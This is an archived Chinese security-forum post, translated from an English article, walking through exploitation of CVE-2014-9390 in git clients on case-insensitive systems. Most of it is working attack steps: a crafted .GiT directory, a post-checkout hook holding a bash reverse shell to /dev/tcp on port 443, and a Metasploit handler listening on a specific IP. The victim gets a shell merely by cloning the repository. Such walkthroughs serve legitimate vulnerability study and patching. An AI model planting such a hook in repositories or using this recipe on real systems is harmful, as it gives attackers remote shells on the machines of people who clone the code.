# One git command may cause you hacked(CVE-2014-9390)

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2014-12-22T04:59:00Z
Canonical: https://wepostx.com/topics/666

> 乌云历史资料归档
>
> **原始作者：** 夺吻狂魔
> **原始编号：** superkieran-wooyundrops:429
> **原始发布时间：** 2014-12-22 12:59
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

from：https://www.mehmetince.net/one-git-command-may-cause-you-hacked-cve-2014-9390-exploitation-for-shell/

## 0x00 背景

CVE-2014-9390是最近很火的一个漏洞，一个git命令就可能导致你被黑，我不打算深入探讨这个漏洞的细节，官方已经在[https://github.com/blog/1938-git-client-vulnerability-announced](https://github.com/blog/1938-git-client-vulnerability-announced) 和 [http://article.gmane.org/gmane.linux.kernel/1853266](http://article.gmane.org/gmane.linux.kernel/1853266)发布了详细信息。总之，如果你使用了大小写不敏感的操作系统例如Windows或OSX，你应该更新git客户端了。
让我们以渗透测试的角度来看看这个漏洞。

## 0x01 准备

我创建了一个命名为CVE-2014-9390的新项目。

![原文图片](/media/2016/06/d428c81feac6153c071d49ea25432164)

建立一个.GiT（大些G，小写i然后大写T）目录，创建一个vulnerable.txt文件，然后push到项目中。

```text
#!bash [email protected] :~/cve-2014-9390# mkdir .GiT [email protected] :~/cve-2014-9390# cd .GiT/ [email protected] :~/cve-2014-9390/.GiT# echo "Vulnerable" >> vulnerable.txt [email protected] :~/cve-2014-9390/.GiT# cd .. [email protected] :~/cve-2014-9390# git add . [email protected] :~/cve-2014-9390# git commit -m 'poc' [master bec157d] poc 1 file changed, 1 insertion(+) create mode 100644 .GiT/vulnerable.txt [email protected] :~/cve-2014-9390# git push
```
我们再从Windows的电脑上用存在漏洞的git客户端pull同一个项目看看

```text
#!bash [email protected] ~ $ git clone [email protected] :mehmet/cve-2014-9390.git Cloning into 'cve-2014-9390'... Enter passphrase for key '/c/Users/rootlab/.ssh/id_rsa': remote: Counting objects: 7, done. remote: Compressing objects: 100% (3/3), done. remote: Total 7 (delta 0), reused 0 (delta 0)R Receiving objects: 100% (7/7), done. Checking connectivity... done.
```
给大家看一下.git目录，本应该在.GiT目录的vulnerable.txt也在这里

![原文图片](/media/2016/06/8d79fbb7bdaabd36ec52658e5b8269c9)

## 0x02 利用

### 什么是git的hooks
与许多其他版本控制系统类似，一些重要的动作发生时，git有一个方法来执行自定义的脚本。hooks分两方面：客户端和服务器端。当进行commit和merge时可以触发客户端的hooks。
当执行git命令如git pull和git checkout时就可以执行客户端的脚本。

### 如何实现git hooks？
重写.git/hooks目录下的一个脚本文件，然后执行他，我们可以通过这个漏洞来实现。
我们创建一个假的git目录然后建立一个叫post-checkout的文件。

```text
#!bash [email protected] :~/cve-2014-9390# mkdir .GiT/hooks [email protected] :~/cve-2014-9390# echo '#!/bin/sh' > .GiT/hooks/post-checkout [email protected] :~/cve-2014-9390# echo 'bash -i >& /dev/tcp/[IPADDRESS]/443 0>&1' >> .GiT/hooks/post-checkout [email protected] :~/cve-2014-9390# git add . [email protected] :~/cve-2014-9390# git commit -m 'add reverse connection payload' [master 389c979] add powershell payload 1 file changed, 4 insertions(+) create mode 100644 .GiT/hooks/post-checkout [email protected] :~//cve-2014-9390# git push
```
我们在服务器端监听

```text
#!bash msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD generic/shell_reverse_tcp msf exploit(handler) > set LPORT 443 msf exploit(handler) > set LHOST 108.61.164.142 msf exploit(handler) > exploit [*] Started reverse handler on 108.61.164.142:443 [*] Starting the payload handler...
```
我们clone https://gitlab.com/mehmet/cve-2014-9390

![原文图片](/media/2016/06/719075e04f6afb29f470d687d7239463)

看起来都是很正常，但是……

![原文图片](/media/2016/06/970c6af1a144d6ee209d34edaf96d66d)

## Replies
